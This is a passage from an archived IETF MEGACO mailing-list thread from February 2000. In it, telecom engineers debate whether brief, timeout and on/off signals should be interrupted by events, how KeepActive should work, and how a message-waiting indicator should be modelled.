>> > > > > recommended, that
>> > > > > > > >"KeepActive" does not generate a "Notify"  and that it
>> > > > > > > becomes possible to
>> > > > > > > >specify multiple actions such that  "KeepActive" can be
>> > > > > > > combined with,
>> > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
>> > > > > the particular
>> > > > > > > >application.
>> > > > > > > >
>> > > > > > > >v13 Status:     OPEN. Event actions table has been
>> > > removed and
>> > > > > > > >extensive  modification of entire event processing
>> > > taken place.
>> > > > > > > >
>> > > > > > > >Section:        7.1.9  Category:       Technical  Issue:
>> > > > >          The
>> > > > > > > >draft text specifies that "When KeepActive is specified
>> > > > > as the  event
>> > > > > > > >action, the media gateway shall send a Notify
>> message to the
>> > > > > > >  controller
>> > > > > > > >upon detection of the event. Furthermore, the controller
>> > > > > shall  not
>> > > > > > > >interrupt any signals active on the Termination on which
>> > > > > the event
>> > > > > > > >is  detected" The above definition is overly restrictive
>> > > > > in that it
>> > > > > > > >prevents  events from being accumulated (either with or
>> > > > > > > without digit map)
>> > > > > > > >and at the  same time keeping a signal active. For
>> > > example an IVR
>> > > > > > > >application  accumulating a string of user input and
>> > > playing an
>> > > > > > > >announcement until the  entire string is
>> accumulated cannot
>> > > > > > > be supported
>> > > > > > > >with the above behaviour.  Proposal:       It is
>> > > > > recommended, that
>> > > > > > > >"KeepActive" does not generate a "Notify"  and that it
>> > > > > > > becomes possible to
>> > > > > > > >specify multiple actions such that  "KeepActive" can be
>> > > > > > > combined with,
>> > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
>> > > > > the particular
>> > > > > > > >application.
>> > > > > > > >
>> > > > > > > >v13 Status:     OPEN. Extensive modifications of event
>> > > > > handling has
>> > > > > > > >taken  place. Events now always reported immediately on
>> > > > > detection.
>> > > > > > >
>> > > > > > > Support NetAid!  http://www.netaid.org
>> > > > > > > --------------------------------------------------
>> > > > > > > Chip Sharp                 Consulting Engineering
>> > > > > > > Cisco Systems              Telco Bio-region
>> > > > > > > Reality - Love it or Leave it.
>> > > > > > > --------------------------------------------------
>> > > > > > >
>> > > > >
>> > > > > --
>> > > > > ---------------------------------------
>> > > > > Flemming Andreasen
>> > > > > Cisco Systems
>> > > > > ---------------------------------------
>> > > > >
>> > > > >
>> > >
>> > > Regards
>> > >
>> > >         Flemming
>> > >
>> > > --
>> > > ---------------------------------------
>> > > Flemming Andreasen
>> > > Cisco Systems
>> > > ---------------------------------------
>> > >
>> > >
>>
>> Regards
>>
>>         Flemming
>> -
>> ---------------------------------------
>> Flemming Andreasen
>> Cisco Systems
>> ---------------------------------------
>>
>>
>


Michael A. Ramalho, Ph.D.
Cisco Systems
1802 Rue de la Port
Wall Township, NJ 07719-3784
Office email: mramalho@cisco.com
Personal email: mar42@cornell.edu
Office: +1.732.449.5762
Cell: +1.732.809.0188
Pager: +1.800.365.4578


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 17:33:22 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12891
	for ; Tue, 8 Feb 2000 17:33:22 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2B77D540@standards.nortelnetworks.com>; Tue, 8 Feb 2000 17:30:19 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33062 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 17:28:54 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.9349A970@standards.nortelnetworks.com>; Tue, 8 Feb 2000
          17:18:54 -0500
Received: from zmers013 by smtprch1.nortel.com; Tue, 8 Feb 2000 16:20:12 -0600
Received: from zcard015.ca.nortel.com (actually zcard015) by zmers013; Tue, 8
          Feb 2000 17:17:09 -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XHBZC; Tue, 8 Feb 2000 17:17:09
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.185]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CQCZ; Tue, 8 Feb 2000 17:17:07
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A09654.49BCC787@nortelnetworks.com>
Date:         Tue, 8 Feb 2000 17:19:00 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: Cisco SG16: Signals Operation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Yes, actually this was a discussion that was held in Washington. VMWI is what
we were calling an instantaneous OO signal. That is, the MGC sends down the
signal to turn the light on. The CPE is messaged and the light comes on. In
PSTN, the switch does not continuously send the command to keep the light on.
If I send another signal descriptor without VMWI included no message is sent
to the CPE about VMWI and the light stays on. It isn't until the MGC send a
message to turn it off, that the light then goes off. Just by the way, there
really is no reason why VMWI has to be an OO signal ... making it a BR signal
would work just as well.

As an aside, if VMWI is a truly a non interruptable OO signal, how would the
user go offhook?

Another aside is if a user hangs up during a non interruptable BR signal where
the BR signal is not set up to report completion (most common case), what
happens to the onhook event? If not reported, the line would hang in off hook
state until either the MGC determined there was a problem or until the user
went off hook and onhook again.

My opinion is that if we want a particular signal to be truly noninterruptable
(which I would contend that we really don't ever want to do), we would send a
null events descriptor... if we don't want to see events, then don't ask for
them. If we want to see some events, but we want the signal to continue, then
use Keepactive.

Michael

PS. I realize that I have not been contributing to the Keepactive discussion,
but will do so right now.

Flemming Andreasen wrote:

> Can you explain how you plan on supporting say "visual message waiting
> indicator" if OO signals are interrupted ?
>
> -- Flemming
>
> Christian Groves wrote:
>
> > G'Day all,
> >
> > I'd like to confer with Michael. All signals should be able to be
> > interrupted. I think the behaviour of the signal types should be
> > uniform. The distinction between: BR, TO, OO should be how many times
> > the signal is played. ie.
> > - BR play once what ever length it is.
> > - TO play and repeat for a certain amount of time. ie.  ringtone -> play
> > ring pattern multiple times.
> > - OO play and repeat until turned off.
> >
> > A previous email sent by Tom gives an outline on what I believe the
> > replacement rules should be.
> >
> > Cheers, Christian
> >
> > Michael Brown wrote:
> > >
> > > Overall, we're still on the right track since we haven't taken the
> > > approach of throwing everything away and starting over, but I do have
> > > problems with some of the proposed changes. My feeling is that they
> > > take us back to the situation we had before the IETF meeting in
> > > Washington where I felt these issues were reasonably well resolved.
> > >
> > > The biggest general issue I have is that the definitions for signal
> > > type cross the boundary into dictating implementation detail. Take the
> > > case of  a BR signal. Happily, we have not come back around to trying
> > > to define some time limit for a BR signal (although I think continuing
> > > with the proposal will eventually lead us there again), so for now BR
> > > is a subjective statement. Let's say I want to play a signal of a
> > > relatively short tone (a couple of seconds) with a provisioned (in the
> > > MG) length, but I want it to be interruptable. By these definitions,
> > > this would have to be treated as a TO which means that the MGC would
> > > have to specify duration (or we have the special rule of duration=0
> > > means to play the signal til the MG stops it) which I don't think
> > > should be required.
> > >
> > > There are other example of how these definitions require a specific
> > > implementation of common signals, such as dial tone.
> > >
> > > Basically, I suppose I continue to feel that the default for all
> > > signals should be interruptable and that  Keepactive be used to
> > > override that behavior.
> > >
> > > Unfortunately, I don't have time to respond with my objections more
> > > fully at this moment as I'm leaving shortly for the ITU meeting. When
> > > I arrive in Geneva, I will follow up with my other concerns and
> > > examples.
> > >
> > > Michael
> > >
> > >
> > >
> > > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
> > >
> > > >
> > > >
> > > > OK, let's sum up, not that I'm confident that this will fly yet.
> > > > I'd like to see the reaction of a couple of other vocal parties --
> > > > say Michael Brown and Christian Groves.
> > > >
> > > > We have three signal types with distinct roles:
> > > >   BR has a timer but is not interrupted by events.  It is
> > > > interrupted by signal descriptor replacement.
> > > >   TO is the most interruptible: timer, events, signal descriptors.
> > > >   OO is the most persistent: interrupted by signal descriptors with
> > > > explicit "Off" syntax only.
> > > > I assume we allow over-riding of default signal type in any given
> > > > instance of playout.
> > > >
> > > > The list is an interesting problem.  I think I have an answer to
> > > > turning an OO list off, but now we also have to define behaviour in
> > > > response to events.  We might consider the following rules:
> > > >
> > > >  -- the type of the list is set explicitly -- every signal on the
> > > > list with the possible exception of the last one must be either BR
> > > > or TO, in order to have an assigned duration
> > > >
> > > >  -- if the last event is OO, the list must be OO and vice versa
> > > >  -- the type of the list, not the type of the signals making it up,
> > > > determines the conditions under which playout of the list ceases
> > > >
> > > >  -- the list times out if it is not OO and all of the signals on it
> > > > have played out, each in turn to its full duration.
> > > >
> > > >      -----Original Message-----
> > > >      From:   Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
> > > >      Sent:   Friday, February 04, 2000 5:38 PM
> > > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > >      Subject:        Re: Cisco SG16: Signals Operation
> > > >
> > > >      Maybe, but according to Brian's first "no-op" rule, it must be
> > > >      broken in order to get fixed :-)
> > > >
> > > >      Regarding dial-tone, I don't see the issue. What you have is
> > > >      three different signal types and three different semantics.
> > > >      Each has it's own time and place. In the case of dial-tone,
> > > >      TimeOut happens to be the one, not Brief.
> > > >
> > > >      -- Flemming
> > > >
> > > >
> > > >      "Rosen, Brian" wrote:
> > > >            Let's see:    Events stop signals except:        When
> > > >           KeepActive is set        If the signal is BR        If the
> > > >           signal is OONet result - events stop signals only when TO
> > > >           and not KeepActive.Maybe we should have a "StopSignal",
> > > >           rather than a KeepActiveMaybe it happens so seldom that we
> > > >           use an embedded signals to do it.Also note that by saying
> > > >           BR doesn't stop for events, you twist the solution tofirst
> > > >           digit stops dialtone to a new level.Brian
> > > >                -----Original Message-----
> > > >                From: Flemming Andreasen [
> > > >                ]
> > > >                Sent: Friday, February 04, 2000 4:55 PM
> > > >                To: MEGACO@standards.nortelnetworks.com
> > > >                Subject: Re: Cisco SG16: Signals Operation
> > > >
> > > >                Hi Tom
> > > >
> > > >                OO signals should not be interrupted by an event,
> > > >                only the explicit "Off" syntax should have this
> > > >                effect (otherwise we are back to TO signals with
> > > >                indefinite duration, and semantically there's good
> > > >                use for something that stays active until explicitly
> > > >                told otherwise, e.g. consider message waiting
> > > >                indicator)
> > > >
> > > >                Regards
> > > >
> > > >                        Flemming
> > > >
> > > >                Tom-PT Taylor wrote:
> > > >
> > > >
> > > >                     Digging through the accumulated mass of indented
> > > >                     text and comments, I think I see two parties
> > > >                     agreeing on the following points.  Unfortunately
> > > >                     experience tells me that as soon as we introduce
> > > >                     a third party the agreements will vanish, but
> > > >                     I'll record them here just in case a miracle
> > > >                     happens.
> > > >
> > > >                     1) BR signals have the following
> > > >                     characteristics: duration is assumed to be known
> > > >                     to the MG without explicit MGC input.  Brian
> > > >                     wants the ability to override duration, and I
> > > >                     have no quarrel with that -- the only question
> > > >                     is the exact mechanism.  The second
> > > >                     characteristic is that a BR signal is not
> > > >                     terminated by the detection of an event.  (But
> > > >                     BR signals are still terminated by replacement
> > > >                     of the Signals descriptor??  Any objections
> > > >                     here?)
> > > >
> > > >                     2) TO signals seem to be fairly well understood.
> > > >
> > > >                     3) OO signals have the following
> > > >                     characteristics: they remain on until
> > > >                     interrupted by detection of an event, or receipt
> > > >                     of a Signals descriptor with explicit Off
> > > >                     syntax.  Brian's keyword syntax is probably
> > > >                     acceptable.  Brian has a query about signal
> > > >                     lists.  Is there something about this proposal
> > > >                     that doesn't work given our current signal list
> > > >                     text?
> > > >
> > > >                     4) Brian's proposals for completion events
> > > >                     probably work for Chip and they work for me.  To
> > > >                     summarize: the current notifyCompletion
> > > >                     parameter remains but its significance changes:
> > > >                     it is a selector (Boolean, default FALSE) and
> > > >                     does not actually arm reporting.  There is a
> > > >                     signal completion event which reports on the
> > > >                     completion of any signal so flagged, with the
> > > >                     identity of the signal as a reporting
> > > >                     parameter.  QUESTION: should KeepActive default
> > > >                     to TRUE for this event?  In any case, the signal
> > > >                     completion event is invoked in the usual way,
> > > >                     through an events descriptor.
> > > >
> > > >                     Open issue: signal failures.  The need for
> > > >                     reports of such failures is real -- they do
> > > >                     happen from time to time.  They happen
> > > >                     autonomously, which means we either have to have
> > > >                     an error method (ServiceChange ?) or an event to
> > > >                     report them.  The key issue is whether you would
> > > >                     need to know about ANY failure or only those of
> > > >                     selected signals.
> > > >
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 17:57:19 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA13119
	for ; Tue, 8 Feb 2000 17:57:19 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.88585AC0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 17:54:23 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33130 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 17:53:20 -0500
Received: from mtiwmhc04.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.62A2E1B0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 17:53:20
          -0500
Received: from worldnet.att.net ([12.78.175.110]) by mtiwmhc04.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000208225534.DEGR1419@worldnet.att.net>; Tue, 8 Feb 2000 22:55:34
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A09F7A.C852ABF7@worldnet.att.net>
Date:         Tue, 8 Feb 2000 17:58:03 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Michael Brown 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi Michael

Comments below

Michael Brown wrote:

> Yes, actually this was a discussion that was held in Washington. VMWI is what
> we were calling an instantaneous OO signal. That is, the MGC sends down the
> signal to turn the light on. The CPE is messaged and the light comes on. In
> PSTN, the switch does not continuously send the command to keep the light on.
> If I send another signal descriptor without VMWI included no message is sent
> to the CPE about VMWI and the light stays on. It isn't until the MGC send a
> message to turn it off, that the light then goes off. Just by the way, there
> really is no reason why VMWI has to be an OO signal ... making it a BR signal
> would work just as well.

I think we are looking at this signal at two different levels. I look at it as an
abstract higher level indicator that with two states; on and off. It seems you
view it as a lower level signaling mechanism where the entire FSK mechanism (I
presume) is what you expect. Some (older) phones may indeed expect this, however
some newer (IP phones) may not. I would prefer a higher level abstraction, but
neither is right or wrong. However, if you do want something like what I'm looking
for, I don't think a BR signal would be appropriate.

>
>
> As an aside, if VMWI is a truly a non interruptable OO signal, how would the
> user go offhook?

I see your point, but I think the question arises because of the different
abstraction levels we each have in mind here. In my case, if I had an analog phone
connected where I need the on-hook FSK transmission, then I would expect my MG to
simply shield those details from me. Thus, if the user goes off-hook during FSK
signaling or if he was already off-hook, I would have the MG take care of that,
and simply turn on the indicator when he went on-hook again.

>
>
> Another aside is if a user hangs up during a non interruptable BR signal where
> the BR signal is not set up to report completion (most common case), what
> happens to the onhook event? If not reported, the line would hang in off hook
> state until either the MGC determined there was a problem or until the user
> went off hook and onhook again.

I'm not sure I follow here. Events happen regardless of signal semantics. What we
are looking at is whether a given event affects a given signal or not.

>
>
> My opinion is that if we want a particular signal to be truly noninterruptable
> (which I would contend that we really don't ever want to do), we would send a
> null events descriptor... if we don't want to see events, then don't ask for
> them. If we want to see some events, but we want the signal to continue, then
> use Keepactive.

Again, I think that for the OO part of this discussion it's because we had
different levels of abstraction in mind. I still firmly believe that OO signals
should not be interrupted in as much as all they really do is (conceptually) set a
state to either "on" or "off". Interrupting them would imply setting the state to
"off" to me, and I definitely don't want that. BR signals are a whole other story.
I think there are arguments for not letting them be interrupted as well, but
that's a discussion with a lot of implications, which I'm fine with deferring
until v2.

>
>
> Michael
>
> PS. I realize that I have not been contributing to the Keepactive discussion,
> but will do so right now.
>
> Flemming Andreasen wrote:
>
> > Can you explain how you plan on supporting say "visual message waiting
> > indicator" if OO signals are interrupted ?
> >
> > -- Flemming
> >
> > Christian Groves wrote:
> >
> > > G'Day all,
> > >
> > > I'd like to confer with Michael. All signals should be able to be
> > > interrupted. I think the behaviour of the signal types should be
> > > uniform. The distinction between: BR, TO, OO should be how many times
> > > the signal is played. ie.
> > > - BR play once what ever length it is.
> > > - TO play and repeat for a certain amount of time. ie.  ringtone -> play
> > > ring pattern multiple times.
> > > - OO play and repeat until turned off.
> > >
> > > A previous email sent by Tom gives an outline on what I believe the
> > > replacement rules should be.
> > >
> > > Cheers, Christian
> > >
> > > Michael Brown wrote:
> > > >
> > > > Overall, we're still on the right track since we haven't taken the
> > > > approach of throwing everything away and starting over, but I do have
> > > > problems with some of the proposed changes. My feeling is that they
> > > > take us back to the situation we had before the IETF meeting in
> > > > Washington where I felt these issues were reasonably well resolved.
> > > >
> > > > The biggest general issue I have is that the definitions for signal
> > > > type cross the boundary into dictating implementation detail. Take the
> > > > case of  a BR signal. Happily, we have not come back around to trying
> > > > to define some time limit for a BR signal (although I think continuing
> > > > with the proposal will eventually lead us there again), so for now BR
> > > > is a subjective statement. Let's say I want to play a signal of a
> > > > relatively short tone (a couple of seconds) with a provisioned (in the
> > > > MG) length, but I want it to be interruptable. By these definitions,
> > > > this would have to be treated as a TO which means that the MGC would
> > > > have to specify duration (or we have the special rule of duration=0
> > > > means to play the signal til the MG stops it) which I don't think
> > > > should be required.
> > > >
> > > > There are other example of how these definitions require a specific
> > > > implementation of common signals, such as dial tone.
> > > >
> > > > Basically, I suppose I continue to feel that the default for all
> > > > signals should be interruptable and that  Keepactive be used to
> > > > override that behavior.
> > > >
> > > > Unfortunately, I don't have time to respond with my objections more
> > > > fully at this moment as I'm leaving shortly for the ITU meeting. When
> > > > I arrive in Geneva, I will follow up with my other concerns and
> > > > examples.
> > > >
> > > > Michael
> > > >
> > > >
> > > >
> > > > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
> > > >
> > > > >
> > > > >
> > > > > OK, let's sum up, not that I'm confident that this will fly yet.
> > > > > I'd like to see the reaction of a couple of other vocal parties --
> > > > > say Michael Brown and Christian Groves.
> > > > >
> > > > > We have three signal types with distinct roles:
> > > > >   BR has a timer but is not interrupted by events.  It is
> > > > > interrupted by signal descriptor replacement.
> > > > >   TO is the most interruptible: timer, events, signal descriptors.
> > > > >   OO is the most persistent: interrupted by signal descriptors with
> > > > > explicit "Off" syntax only.
> > > > > I assume we allow over-riding of default signal type in any given
> > > > > instance of playout.
> > > > >
> > > > > The list is an interesting problem.  I think I have an answer to
> > > > > turning an OO list off, but now we also have to define behaviour in
> > > > > response to events.  We might consider the following rules:
> > > > >
> > > > >  -- the type of the list is set explicitly -- every signal on the
> > > > > list with the possible exception of the last one must be either BR
> > > > > or TO, in order to have an assigned duration
> > > > >
> > > > >  -- if the last event is OO, the list must be OO and vice versa
> > > > >  -- the type of the list, not the type of the signals making it up,
> > > > > determines the conditions under which playout of the list ceases
> > > > >
> > > > >  -- the list times out if it is not OO and all of the signals on it
> > > > > have played out, each in turn to its full duration.
> > > > >
> > > > >      -----Original Message-----
> > > > >      From:   Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
> > > > >      Sent:   Friday, February 04, 2000 5:38 PM
> > > > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > >      Subject:        Re: Cisco SG16: Signals Operation
> > > > >
> > > > >      Maybe, but according to Brian's first "no-op" rule, it must be
> > > > >      broken in order to get fixed :-)
> > > > >
> > > > >      Regarding dial-tone, I don't see the issue. What you have is
> > > > >      three different signal types and three different semantics.
> > > > >      Each has it's own time and place. In the case of dial-tone,
> > > > >      TimeOut happens to be the one, not Brief.
> > > > >
> > > > >      -- Flemming
> > > > >
> > > > >
> > > > >      "Rosen, Brian" wrote:
> > > > >            Let's see:    Events stop signals except:        When
> > > > >           KeepActive is set        If the signal is BR        If the
> > > > >           signal is OONet result - events stop signals only when TO
> > > > >           and not KeepActive.Maybe we should have a "StopSignal",
> > > > >           rather than a KeepActiveMaybe it happens so seldom that we
> > > > >           use an embedded signals to do it.Also note that by saying
> > > > >           BR doesn't stop for events, you twist the solution tofirst
> > > > >           digit stops dialtone to a new level.Brian
> > > > >                -----Original Message-----
> > > > >                From: Flemming Andreasen [
> > > > >                ]
> > > > >                Sent: Friday, February 04, 2000 4:55 PM
> > > > >                To: MEGACO@standards.nortelnetworks.com
> > > > >                Subject: Re: Cisco SG16: Signals Operation
> > > > >
> > > > >                Hi Tom
> > > > >
> > > > >                OO signals should not be interrupted by an event,
> > > > >                only the explicit "Off" syntax should have this
> > > > >                effect (otherwise we are back to TO signals with
> > > > >                indefinite duration, and semantically there's good
> > > > >                use for something that stays active until explicitly
> > > > >                told otherwise, e.g. consider message waiting
> > > > >                indicator)
> > > > >
> > > > >                Regards
> > > > >
> > > > >                        Flemming
> > > > >
> > > > >                Tom-PT Taylor wrote:
> > > > >
> > > > >
> > > > >                     Digging through the accumulated mass of indented
> > > > >                     text and comments, I think I see two parties
> > > > >                     agreeing on the following points.  Unfortunately
> > > > >                     experience tells me that as soon as we introduce
> > > > >                     a third party the agreements will vanish, but
> > > > >                     I'll record them here just in case a miracle
> > > > >                     happens.
> > > > >
> > > > >                     1) BR signals have the following
> > > > >                     characteristics: duration is assumed to be known
> > > > >                     to the MG without explicit MGC input.  Brian
> > > > >                     wants the ability to override duration, and I
> > > > >                     have no quarrel with that -- the only question
> > > > >                     is the exact mechanism.  The second
> > > > >                     characteristic is that a BR signal is not
> > > > >                     terminated by the detection of an event.  (But
> > > > >                     BR signals are still terminated by replacement
> > > > >                     of the Signals descriptor??  Any objections
> > > > >                     here?)
> > > > >
> > > > >                     2) TO signals seem to be fairly well understood.
> > > > >
> > > > >                     3) OO signals have the following
> > > > >                     characteristics: they remain on until
> > > > >                     interrupted by detection of an event, or receipt
> > > > >                     of a Signals descriptor with explicit Off
> > > > >                     syntax.  Brian's keyword syntax is probably
> > > > >                     acceptable.  Brian has a query about signal
> > > > >                     lists.  Is there something about this proposal
> > > > >                     that doesn't work given our current signal list
> > > > >                     text?
> > > > >
> > > > >                     4) Brian's proposals for completion events
> > > > >                     probably work for Chip and they work for me.  To
> > > > >                     summarize: the current notifyCompletion
> > > > >                     parameter remains but its significance changes:
> > > > >                     it is a selector (Boolean, default FALSE) and
> > > > >                     does not actually arm reporting.  There is a
> > > > >                     signal completion event which reports on the
> > > > >                     completion of any signal so flagged, with the
> > > > >                     identity of the signal as a reporting
> > > > >                     parameter.  QUESTION: should KeepActive default
> > > > >                     to TRUE for this event?  In any case, the signal
> > > > >                     completion event is invoked in the usual way,
> > > > >                     through an events descriptor.
> > > > >
> > > > >                     Open issue: signal failures.  The need for
> > > > >                     reports of such failures is real -- they do
> > > > >                     happen from time to time.  They happen
> > > > >                     autonomously, which means we either have to have
> > > > >                     an error method (ServiceChange ?) or an event to
> > > > >                     report them.  The key issue is whether you would
> > > > >                     need to know about ANY failure or only those of
> > > > >                     selected signals.
> > > > >
> >
> > --
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------

Regards

            Flemming

---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 18:09:24 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13297
	for ; Tue, 8 Feb 2000 18:09:23 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3738C470@standards.nortelnetworks.com>; Tue, 8 Feb 2000 18:06:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33170 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 18:05:20 -0500
Received: from mtiwmhc04.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.0FD61090@standards.nortelnetworks.com>; Tue, 8 Feb 2000 18:05:20
          -0500
Received: from worldnet.att.net ([12.78.175.110]) by mtiwmhc04.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000208230741.DJZR1419@worldnet.att.net> for
          ; Tue, 8 Feb 2000 23:07:41 +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A0A250.F374FFF3@worldnet.att.net>
Date:         Tue, 8 Feb 2000 18:10:08 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

I should probably clarify the following:

When referring to BR signals below and saying that I'm fine with deferring discussion
about interrupting them or not until v2, I was referring to interrupting them by
SignalsDescriptor only. I still believe they should not be interrupted by events.

-- Flemming


Flemming Andreasen wrote:

> Hi Michael
>
> Comments below
>
> Michael Brown wrote:
>
> > Yes, actually this was a discussion that was held in Washington. VMWI is what
> > we were calling an instantaneous OO signal. That is, the MGC sends down the
> > signal to turn the light on. The CPE is messaged and the light comes on. In
> > PSTN, the switch does not continuously send the command to keep the light on.
> > If I send another signal descriptor without VMWI included no message is sent
> > to the CPE about VMWI and the light stays on. It isn't until the MGC send a
> > message to turn it off, that the light then goes off. Just by the way, there
> > really is no reason why VMWI has to be an OO signal ... making it a BR signal
> > would work just as well.
>
> I think we are looking at this signal at two different levels. I look at it as an
> abstract higher level indicator that with two states; on and off. It seems you
> view it as a lower level signaling mechanism where the entire FSK mechanism (I
> presume) is what you expect. Some (older) phones may indeed expect this, however
> some newer (IP phones) may not. I would prefer a higher level abstraction, but
> neither is right or wrong. However, if you do want something like what I'm looking
> for, I don't think a BR signal would be appropriate.
>
> >
> >
> > As an aside, if VMWI is a truly a non interruptable OO signal, how would the
> > user go offhook?
>
> I see your point, but I think the question arises because of the different
> abstraction levels we each have in mind here. In my case, if I had an analog phone
> connected where I need the on-hook FSK transmission, then I would expect my MG to
> simply shield those details from me. Thus, if the user goes off-hook during FSK
> signaling or if he was already off-hook, I would have the MG take care of that,
> and simply turn on the indicator when he went on-hook again.
>
> >
> >
> > Another aside is if a user hangs up during a non interruptable BR signal where
> > the BR signal is not set up to report completion (most common case), what
> > happens to the onhook event? If not reported, the line would hang in off hook
> > state until either the MGC determined there was a problem or until the user
> > went off hook and onhook again.
>
> I'm not sure I follow here. Events happen regardless of signal semantics. What we
> are looking at is whether a given event affects a given signal or not.
>
> >
> >
> > My opinion is that if we want a particular signal to be truly noninterruptable
> > (which I would contend that we really don't ever want to do), we would send a
> > null events descriptor... if we don't want to see events, then don't ask for
> > them. If we want to see some events, but we want the signal to continue, then
> > use Keepactive.
>
> Again, I think that for the OO part of this discussion it's because we had
> different levels of abstraction in mind. I still firmly believe that OO signals
> should not be interrupted in as much as all they really do is (conceptually) set a
> state to either "on" or "off". Interrupting them would imply setting the state to
> "off" to me, and I definitely don't want that. BR signals are a whole other story.
> I think there are arguments for not letting them be interrupted as well, but
> that's a discussion with a lot of implications, which I'm fine with deferring
> until v2.
>
> >
> >
> > Michael
> >
> > PS. I realize that I have not been contributing to the Keepactive discussion,
> > but will do so right now.
> >
> > Flemming Andreasen wrote:
> >
> > > Can you explain how you plan on supporting say "visual message waiting
> > > indicator" if OO signals are interrupted ?
> > >
> > > -- Flemming
> > >
> > > Christian Groves wrote:
> > >
> > > > G'Day all,
> > > >
> > > > I'd like to confer with Michael. All signals should be able to be
> > > > interrupted. I think the behaviour of the signal types should be
> > > > uniform. The distinction between: BR, TO, OO should be how many times
> > > > the signal is played. ie.
> > > > - BR play once what ever length it is.
> > > > - TO play and repeat for a certain amount of time. ie.  ringtone -> play
> > > > ring pattern multiple times.
> > > > - OO play and repeat until turned off.
> > > >
> > > > A previous email sent by Tom gives an outline on what I believe the
> > > > replacement rules should be.
> > > >
> > > > Cheers, Christian
